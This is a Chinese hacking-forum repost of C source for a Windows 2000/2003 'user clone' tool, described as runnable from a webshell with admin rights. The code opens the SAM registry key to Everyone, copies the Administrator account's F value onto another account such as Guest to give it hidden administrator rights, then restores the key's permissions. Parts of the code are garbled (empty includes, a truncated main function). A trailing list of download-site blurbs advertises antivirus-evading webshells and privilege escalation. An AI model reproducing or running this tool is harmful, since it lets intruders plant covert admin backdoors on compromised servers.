第一个支持2000和2003下完美进行用户克隆的C源码(可在webshell里直接运行)
软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com/][color=#003366]www.eviloctal.com[/color][/url])
本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点.
WEBSHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
Copy code
#include
#include
#include
#include
char name[50][30];
int KeyN=0;
LPTSTR lpObjectName;
SE_OBJECT_TYPE ObjectType; //#include
PACL OldDACL,NewDACL;
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
//OpenKey(),ViewUser(),ListUser()函数用到的变量
//显示用户名对应的安全标识符:
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);//列出用户名和类型值(用户SID)
int Clone (char *C_sid);//克隆帐户
void Usage (void);//帮助信息
//设置注册表的存取权限:
void new();
void old();
void main (int argc, char *argv[])
{
char C_Sid[10];
int n;
if(argc");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}
int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
//为注册表的F与V值分配空间:
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
//清0:
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);
strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子键
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出F值然后存入lpDataF中:
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//读出v值然后存入lpDataV中:
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//下面是打开需克隆用户如guest的键值:
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
0,
KEY_ALL_ACCESS,
&C_hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//将lpDataF中的值来替换需克隆用户的F值:
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根键名或已打开项的句柄
//“F”:要设置值的名字
//0:未用,设为零
//REG_BINARY:要设置的数量类型
//lpDataF:包含数据的缓冲区中的第一个字节
//SizeF:lpData缓冲区的长度
if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
else
{
printf("Clone User FAIL\n");
return 0;
}
//关闭已打开的注册表句柄:
RegCloseKey(hkey);
RegCloseKey(C_hkey);
return 1;
}
void new()
{//下面是设置SAM键的权限为everyone:
lpObjectName = "MACHINE\\SAM\\SAM";
ObjectType =SE_REGISTRY_KEY;
//建立一个空的ACL;
if (SetEntriesInAcl(0, NULL, NULL, &
OldDACL)!=ERROR_SUCCESS)
return;
if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
return;
//获取现有的ACL列表到OldDACL:
if(GetNamedSecurityInfo(lpObjectName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
&OldDACL,
NULL, &SD) != ERROR_SUCCESS)
printf("指定的键不存在!\n");
// 本文转自 C++Builder 研究 - [url=http://www.ccrun.com/article.asp?i=563&d=tshoza][color=#003366]http://www.ccrun.com/article.asp?i=563&d=tshoza[/color][/url]
//设置用户名"Everyone"对指定的键有所有操作权到结构ea:
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
BuildExplicitAccessWithName(&ea,
"Everyone", // name of trustee
KEY_ALL_ACCESS, // type of access
SET_ACCESS, // access mode
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子键继承它的权限
//合并结构ea和OldDACL的权限列表到新的NewDACL:
if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
goto Cleanup;
//把新的ACL写入到指定的键:
SetNamedSecurityInfo(lpObjectName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
NewDACL,
NULL);
//释放指针
Cleanup:
if(SD != NULL)
LocalFree((HLOCAL) SD);
if(NewDACL != NULL)
LocalFree((HLOCAL) NewDACL);
if(OldDACL != NULL)
LocalFree((HLOCAL) OldDACL);
}
void old()
{
//恢复注册表的权限:
BuildExplicitAccessWithName(&ea,
"system", // name of trustee
KEY_ALL_ACCESS, // type of access
SET_ACCESS, // access mode
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //让子键继承他的权限
if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
goto Cleanup;
//把旧的ACL写入到指定的键:
SetNamedSecurityInfo(lpObjectName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
OldDACL,
NULL);
//释放指针
Cleanup:
if(SD != NULL)
LocalFree((HLOCAL) SD);
if(NewDACL != NULL)
LocalFree((HLOCAL) NewDACL);
if(OldDACL != NULL)
LocalFree((HLOCAL) OldDACL);
}
//输出帮助的典型方法:
void Usage (void)
{
fprintf(stderr,"===============================================================================\n"
"\t名称:2003与2000下克隆任意用户程序\n"
"\t环境:Win2003 + Visual C++ 6.0\n"
"\t作者:[url=mailto:pt007@vip.sina.com][color=#003366]pt007@vip.sina.com[/color][/url]\n"
"\tQQ:7491805\n"
"\t声明:本软件由pt007原创,转载请注明出处,谢谢!\n"
"\n"
"\t使用方法:\n"
"\t\"-H\":帮助信息\n"
"\t\"-L\":列出系统中用户对应的SID\n"
"\t\"-C 1F5\":克隆帐户,输入SID即可\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
"\n"
"\t注意事项:\n"
"\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"
"\t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆\n"
"===============================================================================\n");
}
分享到:
相关推荐
webshell 源码
源码免杀webshell免杀性能好。稳定性强这个是非常好的一份开源代码。
Webshell查杀C#源码,最新64位系统专版,源码只用于技术交流,秉承分享精神,请勿用于商业用途
Seay webshell查杀工具 C#版源码 懂得有需要的可以看看 非常不错
WebShell
浅谈在WEBSHELL下如何运行命令
https://github.com/wjcroom/luci-app-webshell 2021.5.12更新,由于个别openwrt版本,webshell.lua已经更新。...注:必须重启路由,需要替换webshell.lua,因为新版的openwrt不再支持这个lua文件。
WebShell
## 工具简介 ...3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。 --------
mdb解压打开里面的源码,这样会打包速度会更加块,方便
asp webshell
Linux下WEBSHELL提权一技 用phpshell2.0和配合提ROOT,现在不少LINUX主机都还有这个本地溢出漏洞。
随着互联网的发展和互联网用户的快速增长,越来越多的应用都转向B/S结构,因为它是跨平台的、易操作的、方便的、迅速的,这样不论用户使用什么样的操作系统,仅仅需要安装一个浏览器就能享受在线购物、网上支付、看...
注意:此授权系统授权代码请参考/public/demo/文件夹下的好几个文件,不是一句代码放在被授权的程序里面就行的,小白勿扰, 小白勿扰,请自行研究,某站卖588元的源码,我们低价提供给有需要的人研究,不提供技术支持...
基于Python机器学习实现的网站Webshell检测项目源码,可实现对网站进行上传检测、输入检测、目录检测 1、上传检测:使用了 bootstrap 的一个文件上传的框架,可以多文件上传并进行检测 2、输入检测:输入相关的 php ...
暗组经典asp webshell(去后门),已经成功去后门,暗组的webshell功能强大。 本人亲测,不信的可用数据抓包查看。
Webshell
声明:本PHP-webshell仅供学习交流以及网站安全检测之用,功能过于强大,请不要用过非法用途,否则一切后果由使用者本人承担! 使用方法:上传至网站任意目录连接即可,其中 $admin['...顺便在这里赚点积分,呵呵。。
webshell webshell webshell webshell
Seay webshell 查杀工具 常见的webshell扫描查杀工具 支持 asp aspx php jsp